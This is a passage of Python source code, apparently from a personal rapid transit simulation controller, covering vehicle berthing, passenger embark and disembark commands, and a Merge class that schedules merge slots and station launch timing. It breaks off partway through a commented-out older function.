else: to_unload_spline = self.traj_solver.target_position(current_knot, unload_knot, max_speed=current_knot.vel) unload_knot.time = to_unload_spline.t[-1] # Check that the trajectory won't collide with another vehicle # entering the station. lead_vehicle = station.get_lead_vehicle(vehicle=self) if isinstance(lead_vehicle, Vehicle): # may also be None, or api.NONE_ID assert isinstance(lead_vehicle, Vehicle) min_sep_dist = lead_vehicle.length + self.controller.HEADWAY*station.SPEED_LIMIT try: lead_vehicle_unload_path_idx = lead_vehicle.get_path().index(unload_ts_id) lead_vehicle_knot = lead_vehicle.estimate_pose(unload_knot.time, idx=lead_vehicle_unload_path_idx) if lead_vehicle_knot.pos <= min_sep_dist: unload_knot.time = lead_vehicle.spline.get_time_from_dist(min_sep_dist - lead_vehicle_knot.pos, now=unload_knot.time) to_unload_spline = self.traj_solver.target_time(current_knot, unload_knot, max_speed=self.controller.LINE_SPEED) except (OutOfBoundsError, ValueError): # Lead vehicle has already cleared its old spline or its # path. No conflict. pass # Continue on to stop at the desired berth pos (works even if platform is other than UNLOAD). berth_dist, berth_path = self.manager.get_path(station.ts_ids[Station.UNLOAD], self.plat_ts) berth_knot = Knot(unload_knot.pos + berth_dist + self.berth_pos, 0, 0, None) to_berth_spline = self.traj_solver.target_position(unload_knot, berth_knot, max_speed=station.SPEED_LIMIT) spline = to_unload_spline.concat(to_berth_spline) path = unload_path + berth_path[1:] # don't duplicate the UNLOAD ts_id else: # When used during sim startup the vehicle is stationary and # doesn't need a separate spline for the decel to station speed limit. berth_dist, berth_path = self.manager.get_path(self.ts_id, self.plat_ts) berth_knot = Knot(berth_dist + self.berth_pos, 0, 0, None) spline = self.traj_solver.target_position(current_knot, berth_knot, max_speed=station.SPEED_LIMIT) path = berth_path stop_time = spline.t[-1] self.set_spline(spline) self.set_path(path) return stop_time def send_spline(self): """Sends a the current vehicle spline to the sim.""" traj_msg = api.CtrlCmdVehicleTrajectory() traj_msg.vID = self.id self._spline.fill_spline_msg(traj_msg.spline) self.controller.send(api.CTRL_CMD_VEHICLE_TRAJECTORY, traj_msg) def is_full(self): assert len(self.pax) <= self.capacity return len(self.pax) == self.capacity def is_empty(self): return True if len(self.pax) == 0 else False def disembark(self, passengers): """Disembark passengers""" # send disembark command disembark_msg = api.CtrlCmdPassengersDisembark() disembark_msg.vID = self.id disembark_msg.sID = self.station.id disembark_msg.platformID = self.platform_id disembark_msg.berthID = self.berth_id disembark_msg.passengerIDs.extend(passengers) self.controller.send(api.CTRL_CMD_PASSENGERS_DISEMBARK, disembark_msg) self.controller.log.info("t:%5.3f Start Disembark: Vehicle %d, pos %.2f at station %d, plat %d, berth %d is starting disembark of %s", self.controller.current_time, self.id, self.pos, self.station.id, self.platform_id, self.berth_id, passengers) for pax in passengers: self.pax.remove(pax) def embark(self, passengers): """Embark passengers""" fill_line = self.capacity - len(self.pax) self.pax.extend(passengers[:fill_line]) # send embark command embark_msg = api.CtrlCmdPassengersEmbark() embark_msg.vID = self.id embark_msg.sID = self.station.id embark_msg.platformID = self.platform_id embark_msg.berthID = self.berth_id embark_msg.passengerIDs.extend(passengers[:fill_line]) self.controller.send(api.CTRL_CMD_PASSENGERS_EMBARK, embark_msg) self.controller.log.info("t:%5.3f Start Embark: Vehicle %d, pos %.2f at station %d, plat %d, berth %d is starting embark of %s. Overflow: %s", self.controller.current_time, self.id, self.pos, self.station.id, self.platform_id, self.berth_id, passengers[:fill_line], passengers[fill_line:]) # Return overflow passengers return passengers[fill_line:] def advance(self, speed_limit=None): """Sets the vehicle on a itenarary and trajectory for advancing to the vehicle's reserved berth. Returns the time at which the vehicle will arrive.""" if self.plat_ts == self.ts_id: # staying on the same platform dist = (self.berth_pos) - self.pos # stop a little short of the end else: # advancing to another next platform path_length, path = self.manager.get_path(self.ts_id, self.plat_ts) dist = (path_length - self.pos) + (self.berth_pos) # Set the path, but don't stomp on the existing path if it's the same but longer p = self._path[self._current_path_index:] if len(path) > len(p) or path != p[:len(path)]: self.set_path(path) if speed_limit == None: speed_limit = self.station.SPEED_LIMIT return self.run(speed_limit=speed_limit, dist=dist, final_speed=0) def do_merge(self, merge, now=None): """Aquire a MergeSlot from the Merge and use the MergeSlot's spline. If now is None, then the controller's current time is used. Raises: Does not catch a FatalTrajectory exception that may be emitted from Merge.create_merge_slot. Returns: A MergeSlot in the normal case. Returns None if a vehicle is bound for a station within the Merge's zone of control and is guaranteed to enter the station (vehicle has already aquired a berth reservation). """ assert isinstance(merge, Merge) if now is None: now = self.controller.current_time try: merge_slot = merge.create_merge_slot(self, self.ts_id, self.estimate_pose(now), self.length, self.traj_solver, now) self.set_merge_slot(merge_slot) self.set_spline(self.merge_slot.spline.copy()) except NotAtDecisionPoint: slot_assignment_dist = (merge.get_slot_assignment_position(self.ts_id) - self.estimate_pose(now).pos) + self.length # measured from rear of vehicle slot_assignment_time = self.spline.get_time_from_dist(slot_assignment_dist, now) self.controller.set_fnc_notification(self.do_merge, (merge, None), slot_assignment_time) # call do_merge again later def get_dist_to_line_speed(self, initial_knot=None): if initial_knot is None: return self._dist_to_line_speed else: final_knot = Knot(None, PrtController.LINE_SPEED, 0, None) spline = self.traj_solver.target_velocity(initial_knot, final_knot) return spline.q[-1] - spline.q[0] def get_time_to_line_speed(self, initial_knot=None): if initial_knot is None: return self._time_to_line_speed else: final_knot = Knot(None, PrtController.LINE_SPEED, 0, None) spline = self.traj_solver.target_velocity(initial_knot, final_knot) return spline.t[-1] - spline.t[0] def get_dist_to_stop(self, initial_knot=None): if initial_knot is None: return self._dist_to_stop else: final_knot = Knot(None, 0, 0, None) spline = self.traj_solver.target_velocity(initial_knot, final_knot) return spline.q[-1] - spline.q[0] def get_time_to_stop(self, initial_knot=None): if initial_knot is None: return self._time_to_stop else: final_knot = Knot(None, 0, 0, None) spline = self.traj_solver.target_velocity(initial_knot, final_knot) return spline.t[-1] - spline.t[0] def has_berth_reservation(self): if self.berth_id is not None: return True else: return False class Trip(object): def __init__(self, dest_station, path, passengers): """A data holding object for vehicle trip info. dest_station: the destination Station instance dist: The distance to travel. path: first element is the vehicle's location at the intended beginning of the trip. passengers: a tuple of passenger ids. """ assert isinstance(dest_station, Station) self.dest_station = dest_station self.path = path self.passengers = passengers self.dest_ts = path[-1] def __str__(self): return "dest_station: %d, dest_ts: %d, passengers: %s" % \ (self.dest_station.id, self.dest_ts, str(self.passengers)) class MergeError(Exception): """Base class for exceptions emenating from the Merge class""" class NotAtDecisionPoint(MergeError): """Vehicle hasn't reached the merge's 'decision point' -- the position at which a vehicle is assigned a merge slot.""" class Merge(object): """Responsible for zippering vehicles together at the merge point. The zone of control extends up both arms of the merging track. The zone of control ends at the next upstream merge or switch that isn't part of a station. ISSUES: - Vehicles that wish to enter a station found within the zone of control may not be granted entrance. Thus, they need to have a MergeSlot assigned to them that is achievable after being waived off from a station. - Vehicles that startup """ # Set in main() LINE_SPEED = None HEADWAY = None controller = None manager = None _slips = None _maneuver_dists = None _SAMPLE_INTERVAL = 0.5 # distance between samples. Used to determine how far the vehicle can slip forward. def __init__(self, merge_node, graph, vehicles, tracks2station, cutoff=0): # TODO: Emergency stop distance prior to merge assert isinstance(graph, networkx.classes.DiGraph) ## Merge._calc_max_slips(vehicles.values()) # noop if already calculated # FIFO queue containing MergeSlot elements. Note that 'front' # includes the vehicle's headway. Append to right end, pop from left end. # Not using a deque because deque lacks insert, index, and splice. self.reservations = [] # converts track segments to the merge coordinate frame. All positions # upstream of the merge are negative. The merge point is at 0. self.offsets = {} self.outlet = merge_node # maps station id's to distances from the station merge to the main merge self.stations = [] # A list of ts_ids for each zone. Each list is ordered from the zone's # entry point to the merge point (i.e. in order from the inlet to the # outlet). self.zone_ids = [[], []] # Walk upstream for both zones self.zone_lengths = [-1, -1] self.inlets = [None, None] # segment ids which are entry points for the Merge's zone of control zones = graph.predecessors(merge_node) assert len(zones) == 2 for zone_num, node in enumerate(zones): offset = 0 up_node = node # upstream down_node = merge_node # downstream while True: length = graph[up_node][down_node]['weight'] offset -= length self.offsets[up_node] = offset self.zone_ids[zone_num].append(up_node) predecessors = graph.predecessors(up_node) # Only one path, move upstream if len(predecessors) == 1: down_node = up_node up_node = predecessors[0] # More than one path, encountered a merge. elif len(predecessors) > 1: # if it's a merge from a station onramp, note the distance # from the station to the main merge point and continue walking back is_station = False if predecessors[0] in tracks2station: down_node = up_node up_node = predecessors[1] station = tracks2station[predecessors[0]] self.stations.append(station) is_station = True elif predecessors[1] in tracks2station: down_node = up_node up_node = predecessors[0] station = tracks2station[predecessors[1]] self.stations.append(station) is_station = True # if the just encountered merge is not due to a station, stop walking if not is_station: self.zone_lengths[zone_num] = offset self.inlets[zone_num] = up_node break else: # len(up_nodes) == 0: raise Exception("Not able to handle dead end track.") successors = graph.successors(up_node) # Sucessfully moved upstream, but up_node is a switch if len(successors) > 1: # if it's not a switch from a station offramp, stop walking if successors[0] not in tracks2station and successors[1] not in tracks2station: self.zone_lengths[zone_num] = offset self.inlets[zone_num] = down_node break # TODO: Notify PRT controller that I'm associated with switch. May need to implement Switches sooner, rather than later # Force vehicles to be synched up and ready to merge 'cutoff' meters before the merge. self.cutoff = cutoff # The decision point is the distance which the Merge's zone of control extends, # expressed as a negative number. The decision point is normally found # as the length of the shortest leg. If the point would land between # a station's mergepoint and an "onramp's length" upstream of the # station's merge, then the decision point is moved downstream to coincide # with the station's merge point, and the station is not considered to # be in the merge's zone of control. self._decision_point = max(self.zone_lengths) # max because numbers are negative i = 0 while i < len(self.stations): s = self.stations[i] station_merge_offset = self.offsets[s.merge] if station_merge_offset - s.onramp_length < self._decision_point < station_merge_offset: self._decision_point = station_merge_offset # restart the loop, to ensure that the decision_point didn't # get moved into a no-mans-land on the other leg of the merge. i = 0 continue i += 1 # Only keep stations that are within the # zone of control (as determined by the decision_point). self.stations[:] = [s for s in self.stations if self._decision_point < self.offsets[s.merge]] # Only keep track segs that are within the zone of control. for zone_num in range(len(self.zone_ids)): path = [] for ts_id in self.zone_ids[zone_num]: if self.offsets[ts_id] > self._decision_point: # ts_id is downstream of decision point path.append(ts_id) else: path.append(ts_id) break self.inlets[zone_num] = path[-1] path.reverse() # ts_ids are now in the correct order to be a path through the merge. self.zone_ids[zone_num] = path def get_slot_assignment_position(self, ts_id): """Returns the position at which a vehicle is assigned a MergeSlot, in the coordinate frame of the track segment specified by ts_id. The convention is that a vehicle is assigned a MergeSlot when the rear of the vehicle reaches this point (so as to be sure it's clear of the previous switch or merge before undergoing a velocity change). """ try: offset = self.offsets[ts_id] return self._decision_point - offset except KeyError: path_length, path = self.manager.get_path(ts_id, self.outlet) return self._decision_point + path_length def create_merge_slot(self, vehicle, start_ts_id, initial_knot, vehicle_length, traj_solver, now): """Creates a non-conflicting MergeSlot for a vehicle that is entering the Merge's zone of control. It is up to the vehicle to alter its trajectory so as to hit the MergeSlot, but the slot is guaranteed to be achievable by using the included spline. Side Effects: The newly created slot is added to the Merge's reservation queue. Returns: MergeSlot """ # Work in the coordinate frame of the outlet. All segments within # the merge's zone of control have negative positions. offset = self.offsets[start_ts_id] v_pos = initial_knot.pos + offset # negative number. 0 is merge point dist = -v_pos v_rear_pos = v_pos - vehicle_length # Require that vehicles start the simulation far enough back from the # merge that they can get up to full speed. # TODO: Move this check to be in a function dedicated to validating the scenario as soon as it is received. ## if now == 0.0 and vehicle.get_dist_to_line_speed() > dist: ## raise FatalTrajectoryError(initial_knot, final_knot) # If the vehicle isn't to the decision point yet, then delay managing it. # Don't require that the vehicle not be past the decision point, so that # the code can be reused during simulation startup. if v_rear_pos < self._decision_point - 1: # If the vehicle is within a meter of the decision point, good 'nuff. raise NotAtDecisionPoint() # decide which zone the vehicle is in. if start_ts_id in self.zone_ids[0]: zone = 0 elif start_ts_id in self.zone_ids[1]: zone = 1 else: raise Exception("start_ts_id isn't in Merge's zone of control.") ## # If a vehicle is intending to stop at a station prior to the merge point ## # and it has a reserved berth (ensuring that it can enter the station), ## # then it doesn't need a MergeSlot. ## if vehicle.has_berth_reservation() and vehicle.trip.dest_station in self.stations: ## return None # Create a MergeSlot for the vehicle to use. lead_slot = None try: # Usual case. There is a leading vehicle. lead_slot = self.reservations[-1] assert isinstance(lead_slot, MergeSlot) # First Pass Implementation. Only slip vehicle back to avoid collision, don't push lead vehicle forward final_knot = Knot(initial_knot.pos + dist, self.LINE_SPEED, 0, None) spline = traj_solver.target_position(initial_knot, final_knot, max_speed=self.LINE_SPEED) # If the vehicle, travelling at line speed, would arrive at the merge point too early, use target_time if spline.t[-1] < lead_slot.end_time + self.HEADWAY: final_knot.time = lead_slot.end_time + self.HEADWAY spline = traj_solver.target_time(initial_knot, final_knot, max_speed=self.LINE_SPEED) assert spline.t[-1] >= lead_slot.end_time + self.HEADWAY - 2*TrajectorySolver.t_threshold start_time = spline.t[-1] - self.HEADWAY end_time = start_time + vehicle_length/self.LINE_SPEED + self.HEADWAY except IndexError: # There is no leading vehicle. Travel at line speed. final_knot = Knot(initial_knot.pos + dist, self.LINE_SPEED, 0, None) spline = traj_solver.target_position(initial_knot, final_knot, max_speed=self.LINE_SPEED) start_time = spline.t[-1] - self.HEADWAY # Vehicle may not be up to line speed when passing through merge point end_time = spline.t[-1] + vehicle_length/spline.evaluate(start_time).vel if lead_slot is not None: # Start time should occur after lead_slot ends, with some tolerance for rounding error. assert start_time >= lead_slot.end_time - 2*TrajectorySolver.t_threshold merge_slot = MergeSlot(start_time, end_time, zone, vehicle, spline, start_ts_id, self) self.reservations.append(merge_slot) if __debug__ and len(self.reservations) >= 2: # no more than a little rounding error's worth of overlap assert merge_slot.start_time >= self.reservations[-2].end_time - 2*TrajectorySolver.t_threshold return merge_slot def create_station_merge_slot_II(self, station, vehicle, now): """Creates a non-conflicting MergeSlot for a vehicle that is launching from a station located within the Merge's zone of control. It is up to the vehicle to alter its trajectory so as to hit the MergeSlot, but the slot is guaranteed to be achievable by using the slot's spline. Side Effects: The slot is added to the Merge's reservation queue. Returns a 2-tuple: (merge_slot, launch_time) """ initial = vehicle.estimate_pose(now) # Find which zone the station is in. if station.merge in self.zone_ids[0]: station_zone = 0 else: assert station.merge in self.zone_ids[1] station_zone = 1 # Try constructing a launch spline and slot which disregards the world # state -- launch immediately and travel to main-merge at line speed. # Fastest possible arrival at the merge point. onramp_dist, onramp_path = self.manager.get_path(vehicle.ts_id, station.merge) station_merge_knot = Knot(onramp_dist, self.LINE_SPEED, 0, None) onramp_spline = vehicle.traj_solver.target_position(initial, station_merge_knot, max_speed=self.LINE_SPEED) station_merge_knot.time = onramp_spline.t[-1] merge_dist, merge_path = self.manager.get_path(station.merge, self.outlet) merge_knot = Knot(merge_dist + onramp_dist, self.LINE_SPEED, 0, None) merge_spline = vehicle.traj_solver.target_position(station_merge_knot, merge_knot, max_speed=self.LINE_SPEED) merge_knot.time = merge_spline.t[-1] no_wait_spline = onramp_spline.concat(merge_spline) min_slot_size = self.HEADWAY + vehicle.length/self.LINE_SPEED # in seconds min_launch_duration = onramp_spline.t[-1] - onramp_spline.t[0] min_to_merge_duration = merge_spline.t[-1] - merge_spline.t[0] front_slot, rear_slot = self._find_usable_gap(now, station, min_slot_size, min_launch_duration, min_to_merge_duration, self.LINE_SPEED, self.HEADWAY, vehicle.length) wait_dur = (front_slot.end_time + self.HEADWAY) - (no_wait_spline.t[-1]) new_slot = None launch_time = None skip_insert = False if rear_slot.spline is not None: # Not a Dummy slot wait_dur = max(0, wait_dur) wait_spline = CubicSpline([initial.pos, initial.pos], [initial.vel, initial.vel], [initial.accel, initial.accel], [0], [initial.time, initial.time + wait_dur]) spline = wait_spline.concat(no_wait_spline.time_shift(wait_dur)) new_slot = MergeSlot(spline.t[-1] - self.HEADWAY, spline.t[-1] + vehicle.length/self.LINE_SPEED, station_zone, vehicle, spline, vehicle.ts_id, self) launch_time = now + wait_dur else: # rear_slot.spline is None; A dummy slot -- vehicle will be the last in line if wait_dur <= TrajectorySolver.t_threshold: # When the wait duration is <= 0, then the front vehicle is travelling # fast enough (or has enough of a head start) that the launch vehicle # can treat it as though it doesn't exist. new_slot = MergeSlot(no_wait_spline.t[-1] - self.HEADWAY, no_wait_spline.t[-1] + vehicle.length/self.LINE_SPEED, station_zone, vehicle, no_wait_spline, vehicle.ts_id, self) launch_time = now else: # If we have to wait, consider the following cases: # 1. The front vehicle is still approaching the station-merge point. # It may be approaching fast or slow, but at least some part # of the launch delay is strictly necessary so that the launch # vehicle does not interfere with the front vehicle. # # 1a. The front vehicle is travelling full speed. The wait_dur # is just the duration until we can use the no_wait_spline # and also travel full speed. Simple. if abs(front_slot.spline.evaluate(now).vel - self.LINE_SPEED) < TrajectorySolver.v_threshold: assert wait_dur >= 0 wait_spline = CubicSpline([initial.pos, initial.pos], [initial.vel, initial.vel], [initial.accel, initial.accel], [0], [initial.time, initial.time + wait_dur]) spline = wait_spline.concat(no_wait_spline.time_shift(wait_dur)) new_slot = MergeSlot(spline.t[-1] - self.HEADWAY, spline.t[-1] + vehicle.length/self.LINE_SPEED, station_zone, vehicle, spline, vehicle.ts_id, self) launch_time = now + wait_dur # 1b. The front vehicle is travelling at less than full speed. # This faces the same issues, and may use the same solution # as outlined below. # # 2. The front vehicle is past the station_merge point. A waiting # time is necessary only if we choose to travel at full # speed and the front vehicle is travelling slower. Like a driver # with a Porche on a windy road, the launch vehicle waits by the # side of the road to allow a gap to develop, then races forward # at top speed, just catching up with the other vehicles at the # main merge. # # The risk of this behaviour is that another vehicle may enter # the Merge's zone of control while the launch vehicle is waiting. # The new vehicle may use a moderate pace, so as to come just # behind the launch vehicle at the main merge. The new vehicle may # pass the waiting launch vehicle, only to be overtaken by it # once the launch vehicle starts. Though they have similar # average speeds, one is a tortoise and the other a hare. # # A solution to this problem is to create a spline as though # the launch vehicle were entering the Merge's zone of control # at the normal place -- the decision point, located at the end # opposite of the main-merge point. Rather than having the launch # vehicle wait and then go at full speed, the launch vehicle waits # just long enough for this 'phantom' spline to get to the # station merge point. The launch vehicle times its entry so as # to merge with the 'phantom' spline and then uses it for the # remainder of its trip to the merge. else: inlet_tsid = self.inlets[station_zone] new_slot = self.create_merge_slot(None, inlet_tsid, Knot(self.get_slot_assignment_position(inlet_tsid)+vehicle.length, self.LINE_SPEED, 0, now), vehicle.length, vehicle.traj_solver, now) spline, ts_id = self._synch_with_slot(station, vehicle, new_slot, now) new_slot.vehicle = vehicle new_slot.spline = spline if spline.j[0] == 0: # there's a wait segment launch_time = spline.t[1] else: # no wait segment launch_time = spline.t[0] skip_insert = True # using the slot that was inserted by create_merge_slot assert new_slot is not None assert launch_time is not None # Insert the new slot into the resevation queue if not skip_insert: try: assert new_slot.end_time <= rear_slot.start_time + 2*TrajectorySolver.t_threshold insert_idx = self.reservations.index(rear_slot) self.reservations.insert(insert_idx, new_slot) except ValueError: # Rear slot wasn't in self.reservations; it was a dummy slot. if __debug__ and self.reservations: assert new_slot.start_time > self.reservations[-1].end_time - 2*TrajectorySolver.t_threshold self.reservations.append(new_slot) return new_slot, launch_time def _synch_with_slot(self, station, vehicle, slot, now): """Return a new spline that will launch vehicle from station so that it synchs up with slot.spline at the beginning of station.merge. Parameters: station -- The station being launched from. vehicle -- The launch vehicle. Assumed to be stationary and in a position that is able to launch from the station without interference. slot -- The slot that's being merged with. The slot's zone should match the station's zone. now -- The current time, in seconds. Throws: A MergeError if spline's position at (now + launch_duration) is past the start of the station.merge track segment, where 'launch_duration' is the number of seconds required for vehicle to reach the start of station.merge. Note that launch_duration is longer for splines with velocities that are lower than the station was designed to handle. Side Effects: None Returns: A pair: (spline, spline_coordinate_frame) The spline starts at time 'now', and at the vehicle's current position. The spline duplicates the slot's spline from the station merge point onwards. """ assert isinstance(station, Station) assert isinstance(vehicle, Vehicle) assert isinstance(slot, MergeSlot) assert now >= 0 assert station.merge in self.zone_ids[slot.zone], (station, slot.zone, self.zone_ids) # Within this function, "merge" refers to the station merge, not the main merge. # Find where the spline hits station.merge merge_path_length, merge_path = self.manager.get_path(slot.spline_frame, station.merge) merge_time = slot.spline.get_time_from_dist(merge_path_length-slot.spline.q[0], slot.spline.t[0]) merge_knot = slot.spline.evaluate(merge_time) # Create a spline that launches the vehicle and matches velocities. # The time doesn't match up yet. initial = vehicle.estimate_pose(now) launch_path_length, launch_path = self.manager.get_path(vehicle.ts_id, station.merge) launch_knot = Knot(launch_path_length, merge_knot.vel, merge_knot.accel, merge_time) launch_spline = vehicle.traj_solver.target_position( initial, launch_knot, max_speed=merge_knot.vel) # Uses simple accel profile launch_duration = launch_spline.t[-1] - launch_spline.t[0] launch_time = merge_time - launch_duration # Fail if launch time has already passed if launch_time < now: # TODO: Could try using a more aggresive launch spline by allowing # the max speed to climb higher than the merge speed. For now, just fail. raise MergeError("Launch time to synch with slot.spline is in the past.") wait_duration = launch_time - now assert initial.vel == 0 and initial.accel == 0, initial # relys on the sim having zeroed out rounding error for a stopped vehicle. Otherwise use thresholds. wait_spline = CubicSpline([initial.pos, initial.pos], [0,0], [0,0], [0], [now, launch_time]) launch_spline = launch_spline.time_shift(wait_duration) # cleave at the point where it reaches the station merge main_merge_spline = slot.spline.copy_right(merge_time) # translate the spline to the vehicle's coordinate frame main_merge_spline = main_merge_spline.position_shift(launch_knot.pos - merge_knot.pos) # Create a spline that carries the vehicle through the launch and on # to the main merge. vehicle_spline = wait_spline.concat(launch_spline.concat(main_merge_spline)) return vehicle_spline, vehicle.ts_id # TODO: Doesn't utilize relinquished slots yet def _find_usable_gap(self, now, station, min_slot_size, min_launch_duration, min_to_merge_duration, station_merge_line_speed, min_separation, launch_vehicle_length): """Looks through the Merge's reservation queue and returns a pair of merge_slots. The pair has at least a min_slot_size gap between them, and is accessible. The pairs are in order from earliest to latest. If the gap is in front of the first slot in the reservation queue, then a dummy slot is used as the first element in the pair. If the gap is after the last slot, a dummy slot is used as the second element in the pair. If no slots are in the queue, then pair of dummy slots is returned. Note that the vehicle which owns the second element of the pair will always be travelling at line speed (or be a dummy). The gap is considered accessible if a vehicle launching from station would not need to pass through a vehicle on the main line to reach the slot, taking into account the min_launch_time. Parameters: station -- the launch Station object min_slot_size -- the minimum time gap. Typically the vehicle's desired headway at line speed + the vehicle's length / line speed. Measured in seconds. min_launch_duration -- the minimum duration required for the TAIL of the launch vehicle to reach the station merge point. The launch vehicle is expected to be travelling at line speed at this time. station_merge_line_speed -- the line speed at the station merge. min_separation -- minimum number of seconds of separation between vehicles. Returns: A pair: (front_merge_slot, rear_merge_slot) """ # Find which zone the station is in. if station.merge in self.zone_ids[0]: station_zone = 0 else: assert station.merge in self.zone_ids[1] station_zone = 1 station_merge_offset = self.offsets[station.merge] # reminder: offsets are negative ## # blockout_dist is the distance that the rear vehicle will travel while ## # the launch vehicle is reaching the main line, plus extra distance ## # to account for minimum separation. ## # With a gap, the rear vehicle will always be travelling at line speed. ## blockout_dist = (min_launch_duration + min_separation) * station_merge_line_speed # The launch vehicle cannot pass through another vehicle in the same # zone while trying to reach its merge slot. Iterate over existing # slots, starting closest to the main-merge and working back, # to find the blocking vehicle closest to the station-merge. We # can disregard any slots prior to the blocking vehicle's slot. # Stop iteration once we reach a vehicle who's nose has not yet # reached the station merge track segment. blocking_slot_idx = None for i, slot in enumerate(self.reservations): if slot.relinquished: # TODO: Use a relinquished slot continue if slot.vehicle.ts_id == self.outlet: continue if slot.zone == station_zone: try: # Vehicle's nose is before the station-merge point when the launch vehicle reaches it. # Do a quick check, and if it passes that, do a more accurate, expensive check if self.offsets[slot.vehicle.ts_id] < station_merge_offset \ and slot.spline.evaluate(now + min_launch_duration).pos - slot.spline.q[-1] < station_merge_offset: break else: # Vehicle's nose is past the station merge point and is a blocking vehicle. blocking_slot_idx = i except KeyError: # Vehicle is just departing from a station, and has not yet # hit the main line. continue # Bookend the reserved MergeSlots with a pair of dummy slots. if blocking_slot_idx is None: slots = [MergeSlot(0,0,None,None,None,-1,self)] + self.reservations + [MergeSlot(inf,inf,None,None,None,-1,self)] else: slots = self.reservations[blocking_slot_idx:] + [MergeSlot(inf,inf,None,None,None,-1,self)] # Now walk through the reachable slots and find an appropriate gap tail_clear_merge_duration = min_launch_duration \ + min_to_merge_duration \ + launch_vehicle_length/self.LINE_SPEED for front, rear in pairwise(slots): assert isinstance(front, MergeSlot) assert isinstance(rear, MergeSlot) # The tail of the vehicle can't be clear of merge before the rear # slot's reservation starts, even though the launch vehicle is # travelling as fast as possible. if now + tail_clear_merge_duration > rear.start_time: continue # Skip if gap is too small if rear.start_time - front.end_time < min_slot_size: continue # Having passed the tests, the gap is reachable and usable. return (front, rear) assert False, (front, rear, station, min_slot_size, min_launch_duration, min_to_merge_duration, station_merge_line_speed, min_separation, launch_vehicle_length) ## def create_station_merge_slot(self, station, vehicle, now): ## """Creates a non-conflicting MergeSlot for a vehicle that is launching ## from a station located within the Merge's zone of control. The slot is ## added to the Merge's reservation queue. ## ## Returns a 2-tuple: (MergeSlot, launch_time) ## ## It is up to the vehicle to alter its trajectory so as to hit the ## MergeSlot, but the slot is guaranteed to be achievable by using the ## included spline. ## """ ## ## # Strategy is to find a pair of merge slots such that: ## # 1. There is room enough between the slots to fit a new slot. ## # 2. The vehicle leaving the station will not interfere with other ## # vehicles while achieving its merge slot. ## # Note that the vehicle leaving the station has the option of remaining ## # stopped at the station indefinitely, unlike at a regular merge. ## # ## # Nomenclature: Existing slots are considered in a pairwise ## # manner. The slot or vehicle that is closer to the merge point is ## # 'front', and the slot or vehicle that is further is 'rear'. When ## # refering to parts of a vehicle, 'nose' and 'tail' are used. ## ## assert isinstance(vehicle, Vehicle) ## assert isinstance(station, Station) ## assert station in self.stations ## ## # Find which zone the station is in. ## if station.merge in self.zone_ids[0]: ## station_zone = 0 ## else: ## assert station.merge in self.zone_ids[1] ## station_zone = 1 ## ## # Vehicle's state, in its current coordinate frame. ## initial = vehicle.estimate_pose(now) ## ## station_merge_offset = self.offsets[station.merge] # reminder: offsets are negative ## min_slot_size = self.HEADWAY + vehicle.length/self.LINE_SPEED # in seconds ## ## # The launch vehicle cannot pass through another vehicle in the same ## # zone while trying to reach its merge slot. Iterate over existing ## # slots, starting closest to the main-merge and working back, ## # to find the blocking vehicle closest to the station-merge. We ## # can disregard any slots prior to the blocking vehicle's slot. ## # Stop iteration once we reach a vehicle who's nose has not yet ## # reached the station merge track segment. ## blocking_slot_idx = None ## for i, slot in enumerate(self.reservations): ## if slot.vehicle.ts_id == self.outlet: ## continue ## ## if slot.zone == station_zone: ## try: ## if self.offsets[slot.vehicle.ts_id] < station_merge_offset: ## break ## else: ## blocking_slot_idx = i ## except KeyError: ## # Vehicle is just departing from a station, and has not yet ## # hit the main line. ## continue ## ## ## # Bookend the reserved MergeSlots with a pair of dummy slots. ## if blocking_slot_idx is None: ## slots = [MergeSlot(0,0,None,None,None,-1,self)] + self.reservations + [MergeSlot(inf,inf,None,None,None,-1,self)] ## else: ## slots = self.reservations[blocking_slot_idx:] + [MergeSlot(inf,inf,None,None,None,-1,self)] ## ## # Try constructing a launch spline and slot which disregards the world ## # state -- launch immediately and travel to main-merge at line speed. ## # Fastest possible arrival at the merge point. ## # TODO: Figure out conditions where this couldn't be a viable solution in order to save some computation? ## merge_dist, merge_path = self.manager.get_path(vehicle.ts_id, self.outlet) ## onramp_dist, onramp_path = self.manager.get_path(vehicle.ts_id, station.merge) ## blind_spline = vehicle.traj_solver.target_position( ## initial, ## Knot(merge_dist, self.LINE_SPEED, 0, None), ## max_speed=self.LINE_SPEED) ## blind_slot = MergeSlot(blind_spline.t[-1] - self.HEADWAY, ## blind_spline.t[-1] + vehicle.length/self.LINE_SPEED, ## station_zone, ## vehicle, ## blind_spline, ## vehicle.ts_id, ## self) ## ## # Time at which the blind launch vehicle's tail is at the station merge point ## blind_station_merge_time = blind_spline.get_time_from_dist(onramp_dist - initial.pos + vehicle.length, now) ## ## # Iteration starts with slots closest to the main merge point and works back. ## new_slot = None ## for idx in xrange(len(slots)-1): ## front_slot = slots[idx] ## rear_slot = slots[idx+1] ## assert isinstance(front_slot, MergeSlot) ## assert isinstance(rear_slot, MergeSlot) ## ## # Gap between slots must be large enough to fit a new slot. ## if rear_slot.start_time - front_slot.end_time < min_slot_size: ## continue ## ## # If 'blind', the fastest possible approach, wouldn't be clear of the ## # main merge point when rear_slot starts then the gap is unusable. ## if blind_slot.end_time > rear_slot.start_time: ## continue ## ## # Optimistic case: No interference from anyone. Go immediately, ## # travelling at full speed. ## if blind_slot.start_time >= front_slot.end_time and \ ## blind_slot.end_time <= rear_slot.start_time: ## if self._is_rear_vehicle_conflict(idx+1, slots, station_zone, station.merge, blind_station_merge_time): ## continue ## else: ## new_slot = blind_slot ## launch_time = now ## break ## ## # In all other cases, we want to come onto the main line just ## # behind the front_slot vehicle (or ghost of that vehicle, if it's ## # in the other zone). ## else: ## # front_knot has a .pos that is the negative distance to main-merge ## try: ## fs_outlet_idx = front_slot.vehicle.path.index(self.outlet) ## front_knot = front_slot.vehicle.estimate_pose(now, fs_outlet_idx) ## except ValueError: # fs vehicle's path doesn't take it the the merge outlet ## # make a temporary path that would carry the vehicle to the outlet. ## try: ## tmp_idx = self.zone_ids[front_slot.zone].index(front_slot.vehicle.path[0]) ## tmp_path = self.zone_ids[front_slot.zone][tmp_idx:] + [self.outlet] ## except ValueError: ## tmp_path_length, tmp_path = self.manager.get_path(front_slot.vehicle.path[0], self.outlet) ## front_knot = front_slot.vehicle.estimate_pose(now, idx=len(tmp_path)-1, path=tmp_path) ## ## # Front is past the station-merge. Launch immediately. ## if front_knot.pos > station_merge_offset: ## try: ## final = Knot(merge_dist, self.LINE_SPEED, 0, front_slot.end_time + self.HEADWAY) ## spline = vehicle.traj_solver.target_time(initial, final, max_speed=self.LINE_SPEED) ## launch_time = now ## 